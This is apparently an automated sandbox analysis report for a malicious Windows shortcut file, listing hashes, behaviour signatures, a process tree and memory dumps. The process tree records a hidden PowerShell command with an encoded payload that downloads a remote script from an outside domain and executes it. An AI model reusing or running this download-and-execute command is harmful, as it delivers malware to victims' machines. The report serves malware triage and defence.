Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240319-en
  • resource tags

    arch:x64arch:x86image:win7-20240319-enlocale:en-usos:windows7-x64system
  • submitted
    05-04-2024 08:57

General

  • Target

    DOC527 - 527527.lnk

  • Size

    9KB

  • MD5

    8f67aaa7b8bf4df78de954a16bcf67ca

  • SHA1

    2cedea1467518ab950820767b6f546344d228305

  • SHA256

    b8a5cb1a0bc2ddd5b12f29781391ce38806b8dd0af28a0612d71a58063250ae8

  • SHA512

    09519377b6dbedb528e4c96342b4c28ad71e2a286bb61866daea52d8a657969e4d53685cc14e122e8f3eb24e9ca5e0da6d77b2786d502b1b9a056c7154e83934

  • SSDEEP

    192:8z55hm3MSBf6OY1tvnT1wEuz4+nCWLFf3m/9h0yAE7oxMdPDTJvs3DoTNxHJ6:u5vcMS5otvnT1w7p9WIBE7UkpoyHJ6

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2652

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2652-38-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

    Filesize

    9.6MB

  • memory/2652-39-0x000000001B380000-0x000000001B662000-memory.dmp

    Filesize

    2.9MB

  • memory/2652-40-0x0000000002410000-0x0000000002490000-memory.dmp

    Filesize

    512KB

  • memory/2652-41-0x0000000002410000-0x0000000002490000-memory.dmp

    Filesize

    512KB

  • memory/2652-42-0x0000000001F90000-0x0000000001F98000-memory.dmp

    Filesize

    32KB

  • memory/2652-43-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

    Filesize

    9.6MB

  • memory/2652-44-0x0000000002410000-0x0000000002490000-memory.dmp

    Filesize

    512KB

  • memory/2652-45-0x0000000002410000-0x0000000002490000-memory.dmp

    Filesize

    512KB

  • memory/2652-46-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

    Filesize

    9.6MB